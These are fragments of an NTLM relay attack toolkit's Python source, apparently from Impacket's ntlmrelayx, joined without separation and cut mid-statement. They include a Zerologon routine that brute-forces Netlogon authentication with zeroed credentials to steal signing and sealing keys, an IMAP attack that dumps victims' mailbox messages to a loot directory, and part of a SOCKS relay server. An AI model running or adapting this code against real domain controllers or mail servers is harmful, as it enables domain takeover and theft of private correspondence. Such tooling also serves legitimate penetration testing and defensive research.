SMB2_NEGOTIATE_SIGNING_REQUIRED ) == SMB2_NEGOTIATE_SIGNING_REQUIRED: LOG.error('Signing is required, attack won\'t work!') return if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING: self._Connection['SupportsFileLeasing'] = True if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU: self._Connection['SupportsMultiCredit'] = True if self._Connection['Dialect'] == SMB2_DIALECT_30: # Switching to the right packet format self.SMB_PACKET = SMB3Packet if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING ) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING: self._Connection['SupportsDirectoryLeasing'] = True if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL ) == SMB2_GLOBAL_CAP_MULTI_CHANNEL: self._Connection['SupportsMultiChannel'] = True if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES ) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES: self._Connection['SupportsPersistentHandles'] = True if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION: self._Connection['SupportsEncryption'] = True self._Connection['ServerCapabilities'] = negResp['Capabilities'] self._Connection['ServerSecurityMode'] = negResp['SecurityMode']
def netlogonSessionKey(self, challenge, authenticateMessageBlob): # Here we will use netlogon to get the signing session key LOG.info("Connecting to %s NETLOGON service" % self.target.netloc) respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(respToken2['ResponseToken']) domainName = authenticateMessage['domain_name'].decode('utf-16le') flags = authenticateMessage['flags'] try: av_pairs = authenticateMessage['ntlm'][44:] av_pairs = AV_PAIRS(av_pairs) serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') except: LOG.debug("Exception:", exc_info=True) # We're in NTLMv1, not supported return STATUS_ACCESS_DENIED binding = epm.hept_map(self.target.netloc, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') dce = transport.DCERPCTransportFactory(binding).get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) MAX_ATTEMPTS = 6000 for attempt in range(0, MAX_ATTEMPTS): resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00', b'\x00' * 8) serverChallenge = resp['ServerChallenge'] ppp = b'\x00' * 8 try: nrpc.hNetrServerAuthenticate3( dce, NULL, serverName + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, serverName + '\x00', ppp, 0x212effef) except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: continue else: LOG.error('Unexpected error code from DC: %d.', ex.get_error_code()) except BaseException as ex: LOG.error('Unexpected error: %s', str(ex)) LOG.info( 'Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!', attempt) break else: LOG.error( 'No success bypassing auth after 6000 attempts. Target likely patched!' ) return clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) # Now let's try to verify the security blob against the PDC lflags = unpack('<L', b'\xe0\x2a\x00\x00')[0] request = nrpc.NetrLogonSamLogonWithFlags() request['LogonServer'] = '\x00' request['ComputerName'] = serverName + '\x00' request[ 'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 request[ 'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation'][ 'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'LogonDomainName'] = domainName request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'ParameterControl'] = lflags request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'UserName'] = authenticateMessage['user_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'Workstation'] = '' request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallenge'] = challenge request['LogonInformation']['LogonNetworkTransitive'][ 'NtChallengeResponse'] = authenticateMessage['ntlm'] request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallengeResponse'] = authenticateMessage['lanman'] authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator[ 'Credential'] = b'\x00' * 8 #nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey) authenticator['Timestamp'] = 0 request['Authenticator'] = authenticator request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 request['ReturnAuthenticator']['Timestamp'] = 0 request['ExtraFlags'] = 0 #request.dump() try: resp = dce.request(request) #resp.dump() except DCERPCException as e: LOG.debug('Exception:', exc_info=True) LOG.error(str(e)) return e.get_error_code() LOG.info( "%s\\%s successfully validated through NETLOGON" % (domainName, authenticateMessage['user_name'].decode('utf-16le'))) encryptedSessionKey = authenticateMessage['session_key'] if encryptedSessionKey != '': signingKey = generateEncryptedSessionKey( resp['ValidationInformation']['ValidationSam4'] ['UserSessionKey'], encryptedSessionKey) else: signingKey = resp['ValidationInformation']['ValidationSam4'][ 'UserSessionKey'] LOG.info("NTLM Sign/seal key: %s " % hexlify(signingKey).decode('utf-8')) if flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: self.session._DCERPC_v5__clientSigningKey = ntlm.SIGNKEY( flags, signingKey) self.session._DCERPC_v5__serverSigningKey = ntlm.SIGNKEY( flags, signingKey, b"Server") self.session._DCERPC_v5__clientSealingKey = ntlm.SEALKEY( flags, signingKey) self.session._DCERPC_v5__serverSealingKey = ntlm.SEALKEY( flags, signingKey, b"Server") # Preparing the keys handle states cipher3 = ARC4.new(self.session._DCERPC_v5__clientSealingKey) self.session._DCERPC_v5__clientSealingHandle = cipher3.encrypt cipher4 = ARC4.new(self.session._DCERPC_v5__serverSealingKey) self.session._DCERPC_v5__serverSealingHandle = cipher4.encrypt else: # Same key for everything self.session._DCERPC_v5__clientSigningKey = signingKey self.session._DCERPC_v5__serverSigningKey = signingKey self.session._DCERPC_v5__clientSealingKey = signingKey self.session._DCERPC_v5__serverSealingKey = signingKey cipher = ARC4.new(self.session._DCERPC_v5__clientSigningKey) self.session._DCERPC_v5__clientSealingHandle = cipher.encrypt self.session._DCERPC_v5__serverSealingHandle = cipher.encrypt self.session._DCERPC_v5__sequence = 0 self.session._DCERPC_v5__flags = flags return signingKey
def run(self): #Default action: Search the INBOX targetBox = self.config.mailbox result, data = self.client.select(targetBox, True) #True indicates readonly if result != 'OK': LOG.error('Could not open mailbox %s: %s' % (targetBox, data)) LOG.info('Opening mailbox INBOX') targetBox = 'INBOX' result, data = self.client.select(targetBox, True) #True indicates readonly inboxCount = int(data[0]) LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox)) #If we should not dump all, search for the keyword if not self.config.dump_all: result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword) #Check if search worked if result != 'OK': LOG.error('Search failed: %s' % rawdata) return dumpMessages = [] #message IDs are separated by spaces for msgs in rawdata: dumpMessages += msgs.split(' ') if self.config.dump_max != 0 and len( dumpMessages) > self.config.dump_max: dumpMessages = dumpMessages[:self.config.dump_max] else: #Dump all mails, up to the maximum number configured if self.config.dump_max == 0 or self.config.dump_max > inboxCount: dumpMessages = list(range(1, inboxCount + 1)) else: dumpMessages = list(range(1, self.config.dump_max + 1)) numMsgs = len(dumpMessages) if numMsgs == 0: LOG.info('No messages were found containing the search keywords') else: LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword)) for i, msgIndex in enumerate(dumpMessages): #Fetch the message result, rawMessage = self.client.fetch(msgIndex, '(RFC822)') if result != 'OK': LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage)) continue #Replace any special chars in the mailbox name and username mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox) textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username) #Combine username with mailboxname and mail number fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str( msgIndex) + '.eml' #Write it to the file with open(os.path.join(self.config.lootdir, fileName), 'w') as of: of.write(rawMessage[0][1]) LOG.info('Done fetching message %d/%d' % (i + 1, numMsgs)) #Close connection cleanly self.client.logout()
self.targetPort].keys()) == 1: del (self.__socksServer.activeRelays[self.targetHost][ self.targetPort]) LOG.debug( 'Removing active relay for %s@%s:%s' % (relay.username, self.targetHost, self.targetPort)) self.sendReplyError(replyField.CONNECTION_REFUSED) return pass # Freeing up this connection if relay.username is not None: self.__socksServer.activeRelays[self.targetHost][ self.targetPort][relay.username]['inUse'] = False else: LOG.error('SOCKS: I don\'t have a handler for this port') LOG.debug('SOCKS: Shutting down connection') try: self.sendReplyError(replyField.CONNECTION_REFUSED) except Exception, e: LOG.debug('SOCKS END: %s' % str(e)) class SOCKS(SocketServer.ThreadingMixIn, SocketServer.TCPServer): def __init__(self, server_address=('0.0.0.0', 1080), handler_class=SocksRequestHandler): LOG.info('SOCKS proxy started. Listening at port %d', server_address[1])